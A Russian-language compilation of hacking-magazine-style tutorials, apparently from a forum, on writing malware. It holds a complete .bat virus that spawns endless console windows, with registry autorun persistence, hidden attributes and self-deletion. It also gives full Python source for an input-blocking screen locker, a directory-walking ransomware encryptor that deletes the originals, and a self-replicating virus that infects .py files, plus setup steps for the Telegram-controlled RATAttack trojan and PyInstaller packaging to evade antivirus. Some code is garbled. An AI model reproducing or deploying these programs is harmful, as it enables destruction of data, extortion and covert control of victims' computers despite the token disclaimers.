Похожие темы
Крадущийся питон. Создаем простейший троян на Python
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Теория
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Определяем IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api. ipify. org , так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print( f’ ‘) ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Вирус удалённого управления компьютером. Многофункциональный RAT на компьютер с управлением через Telegram.
На портале GitHub был опубликован исходный код нового трояна для удаленного доступа (RAT), использующего протокол Telegram для хищения информации с инфицированных устройств. RATAttack устанавливает зашифрованный канал между оператором и зараженным устройством с помощью протокола Telegram. Как утверждает разработчик инструмента, основная проблема большинства существующих на сегодняшний день RAT заключается в том, что они не используют шифрование и их операторы вынуждены настраивать переадресацию портов на устройстве жертвы для управления инфицированным компьютером.
Вирусописатель решил исправить это упущение и представил собственный инструмент под названием RATAttack, который устанавливает зашифрованный канал между оператором и жертвой, используя протокол Telegram. Прежде, чем начинать атаку, владелец RATAttack должен создать бот Telegram и встроить его токен (ключ) в конфигурационный файл трояна. Таким образом все инфицированные устройства будут подключаться к каналу бота и атакующий получит возможность отправлять простые команды для управления RATAttack на зараженном компьютере.
Вот список, что может данный ратник, а теперь пойдём дальше
Как установить?
Что необходимо для ратника:Python 3.8(32 bit)+ необходимые модули, бот в телеграме, его ключ и ваш ID . Установив питон,скачав архив, открываем файл RAT через IDLE например
Видим данные строки
в token мы пропишем токен бота, а в adm — ваш ID телеграма.
Но сейчас надо поставить модули.
открываем консоль и прописываем:
pip3 install python-opencv
pip3 install pytelegrambotapi
pip3 install pypiwin32
pip3 install pyaudio
Создаем бота в телеграме у @BotFather, после чего находим API
копируем длинную строчку без кавычек.
вставляем в RAT.py в строку token.
У бота @userinfobot узнаём свой ID. Тоже вставляем в RAT.py в строку adm
После чего,нажимаем Run Module(F5)
Бот прислал нам оповещение
Троян может действовать в качестве кейлоггера, собирать данные об установленной версии ОС Windows, процессоре и т.д., IP-адресе и приблизительном местоположении хоста, отображать сообщения, загружать и выгружать различные файлы, делать скриншоты, исполнять любые файлы на целевом компьютере, делать снимки с web-камеры, копировать, перемещать и удалять файлы, а также запускать процесс самоуничтожения.
По данным ресурса BleepingComputer, разработчик RATAttack не рекламировал троян на каких-либо хакерских форумах и опубликовал код только на GitHub. В настоящее время он уже удален с портала.
Мистический «отказ от ответственности» будет держать плохих ребят подальше
Как и большинство «темных» разработчиков, которые создают RAT с двойным назначением, разработчик назвал свое творение Remote Administration Tool (Инструмент удаленного администрирования). Даже если часть функций, над которыми он в данный момент работает, обычно обнаруживается во вредоносных троянах. Они не являются легальными инструментами удаленного администрирования, такими как Teamviewer и другие.
Разработчик также не забыл исполнить старый номер, и обязательный «отказ от ответственности» в конце описания RATAttack, надеясь избежать последствий, к которым приведут злоумышленники, используя его код, который находится в свободном доступе для слежки за супругами, взлома компаний, или держать диссидентов под наблюдением. Предположительно, этот инструмент должен использоваться только в авторизированных системах. Любое неавторизированное использование данного инструмента без разрешения является нелегальным. Вопрос ПО с двойным назначением, используемым для легальных и преступных целей, недавно обсуждался в новостях.
На гитхабе уже успели сделать форки. Пользователь @mvrozanti даже начал расширение функционала.
Как создать, написать компьютерный вирус?
Создание самых простых вирусов не требует наличия специальных сред для разработки программ. И особых знаний, кстати, тоже. Создать вирусы довольно просто, если использовать для этого командную строку. Для этого нужно немного знать синтаксис командной строки и уметь создавать .bat-файлы.
Что такое .bat-файл и как его создать?
Если очень поверхностно, то это файлы с расширением .bat. Такие файлы несут в себе команды, которые должны быть выполнены командным интерпретатором Windows. Все те команды, которые можно выполнить в окне командной строки, можно вписать в .bat-файл и запустить. Результат будет одинаковым.
Чтобы создать .bat-вирус, нам нужен обычный текстовый редактор. В идеале подойдет для этих целей Блокнот. Создав и открыв новый текстовый документ, Вам нужно вписать туда тот код(команды), которые он должен выполнить. После этого, Вам нужно с помощью меню Сохранить как сохранить этот файл, задав ему какое-либо имя с расширением .bat и указав тип файла Все файлы.
Создаем простейший вирус
В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:
Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.
Код создаваемого вируса
Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.
[code]md c:papka
echo start c:papkavirus.bat>c:papkavirus.bat
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v virus /d c:papkavirus.bat
attrib +r +h +s c:papka
attrib +r +h +s c:papkavirus.bat
start c:papkavirus.bat
del %0[/code]
А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.
Вторая строчка создает файл c:papkavirus.bat и, с помощью команды echo, вписывает в него команду start c:papkavirus.bat. Тут нужно знать, что после знака > указывается место вывода приведенной команды. Тут Вам нужно познакомится: c:papkavirus.bat и есть основное тело вируса. Созданный нами .bat-файл с кодом, который мы сейчас разбираем, является всего лишь установщиком нашего основного вируса. Вы можете использовать другое название и другое местоположение для вируса.
Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.
Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.
6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.
И, наконец-то, последняя, 7-ая строчка удаляет данный .bat-вирус. Это полезно, так как по этому .bat-файлу можно спокойно выйти на созданный нами вирус и удалить его.
Смысл созданного вируса
Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.
Как бороться с такими вирусами?
Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.
Как удалить такой вирус?
Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.
Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.
Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.
Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.
Как написать локер, шифровальщик и вирус на Python
Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Настройка среды
Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.
Дополнительно установим несколько модулей, которые будем использовать:
pip install pyAesCrypt pip install pyautogui pip install tkinter
На этом с подготовительным этапом покончено, можно приступать к написанию кода.
Создание локера
Идея — создаем окно на полный экран и не даем пользователю закрыть его.
Импорт библиотек:
import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep
Теперь возьмемся за основную часть программы.
# Создаем окно root = Tk() # Вырубаем защиту левого верхнего угла экрана pyautogui.FAILSAFE = False # Получаем ширину и высоту окна width = root.winfo_screenwidth() height = root.winfo_screenheight() # Задаем заголовок окна root.title('From "hacker" with love') # Открываем окно на весь экран root.attributes("-fullscreen", True) # Создаем поле для ввода, задаем его размеры и расположение entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25) # Создаем текстовые подписи и задаем их расположение label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1) label0.grid(row=0, column=0) label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20') label1.place(x=width/2-75-130, y=height/2-25-100) # Включаем постоянное обновление окна и делаем паузу root.update() sleep(0.2) # Кликаем в центр окна click(width/2, height/2) # обнуляем ключ k = False # Теперь непрерывно проверяем, не введен ли верный ключ # Если введен, вызываем функцию хулиганства while not k: on_closing()
Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:
import pythoncom, pyHook hm = pyHook.HookManager() hm.MouseAll = uMad hm.KeyAll = uMad hm.HookMouse() hm.HookKeyboard() pythoncom.PumpMessages()
Создадим функцию для ввода ключа:
def callback(event): global k, entry if entry.get() == "hacker": k = True
Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.
Последняя функция, которая нужна для работы окна-вредителя:
def on_closing(): # Кликаем в центр экрана click(width/2, height/2) # Перемещаем курсор мыши в центр экрана moveTo(width/2, height/2) # Включаем полноэкранный режим root.attributes("-fullscreen", True) # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing root.protocol("WM_DELETE_WINDOW", on_closing) # Включаем постоянное обновление окна root.update() # Добавляем сочетание клавиш, которые будут закрывать программу root.bind('<Control-KeyPress-c>', callback)
На этом наш импровизированный локер готов.
Создание шифровальщика
Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:
direct = input("Напиши атакуемую директорию: ") password = input("Введи пароль: ")
Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:
with open("Crypt.py", "w") as crypt: crypt.write(''' текст программы ''')
Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:
import os import sys
Пишем функцию шифрования (все по мануалу pyAesCrypt):
def crypt(file): import pyAesCrypt print('-' * 80) # Задаем пароль и размер буфера password = "'''+str(password)+'''" buffer_size = 512*1024 # Вызываем функцию шифрования pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") # Удаляем исходный файл os.remove(file)
Вместо str(password) скрипт-генератор вставит пароль.
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.
def walk(dir): # Перебор всех подпапок в указанной папке for name in os.listdir(dir): path = os.path.join(dir, name) # Если это файл, шифруем его if os.path.isfile(path): crypt(path) # Если это папка, рекурсивно повторяем else: walk(path)
В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.
walk("'''+str(direct)+'''") os.remove(str(sys.argv[0]))
Здесь снова будет подставляться нужный путь.
Вот весь исходник целиком.
import os import sys def crypt(file): import pyAesCrypt print('-' * 80) password = "'"+str(password)+"'" buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0]))
Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.
import os import sys # Функция расшифровки def decrypt(file): import pyAesCrypt print('-' * 80) password = "'''+str(password)+'''" buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size) print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'") os.remove(file) # Обход каталогов def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0]))
Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.
Создание вируса
Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.
На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.
import sys import os
Создадим три функции: сообщение, парсер, заражение.
Функция, которая сообщает об атаке:
def code(void): print("Infected")
Сразу вызовем ее, чтобы понять, что программа отработала:
code(None)
Обход директорий похож на тот, что мы делали в шифровальщике.
def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) # Если нашли файл, проверяем его расширение if os.path.isfile(path): # Если расширение — py, вызываем virus if (os.path.splitext(path)[1] == ".py"): virus(path) else: pass else: # Если это каталог, заходим в него walk(path)
В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.
Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).
В начале и в конце файла пишем вот такие комментарии:
# START # # STOP #
Чуть позже объясню зачем.
Дальше функция, которая отвечает за саморепликацию.
def virus(python): begin = "# START #n" end = "# STOP #n" # Читаем атакуемый файл, назовем его copy with open(sys.argv[0], "r") as copy: # Создаем флаг k = 0 # Создаем переменную для кода вируса и добавляем пустую строку virus_code = "n" # Построчно проходим заражаемый файл for line in copy: # Если находим маркер начала, поднимаем флаг if line == begin: k = 1 # Добавляем маркер в зараженный код virus_code += begin # Если мы прошли начало, но не дошли до конца, копируем строку elif k == 1 and line != end: virus_code += line # Если дошли до конца, добавляем финальный маркер и выходим из цикла elif line == end: virus_code += end break else: pass # Снова читаем заражаемый файл with open(python, "r") as file: # Создаем переменную для исходного кода original_code = "" # Построчно копируем заражаемый код for line in file: original_code += line # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir if line == begin: vir = True break # Если маркера нет, опускаем флаг vir else: vir = False # Если флаг vir опущен, пишем в файл вирус и исходный код if not vir: with open(python, "w") as paste: paste.write(virus_code + "nn" + original_code) else: pass
Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.
Создание исполняемого файла
Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.
Устанавливаем
pip install PyInstaller
И вводим команду
PyInstaller "имя_файла.py" --onefile --noconsole
Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.
Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.
Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:
- файл Crypt.exe не понравился 12 антивирусам из 72;
- файл Locker.exe — 10 антивирусам из 72;
- файл Virus.exe — 23 антивирусам из 72.
Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.
Итого
Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.
Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.
Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.
Источник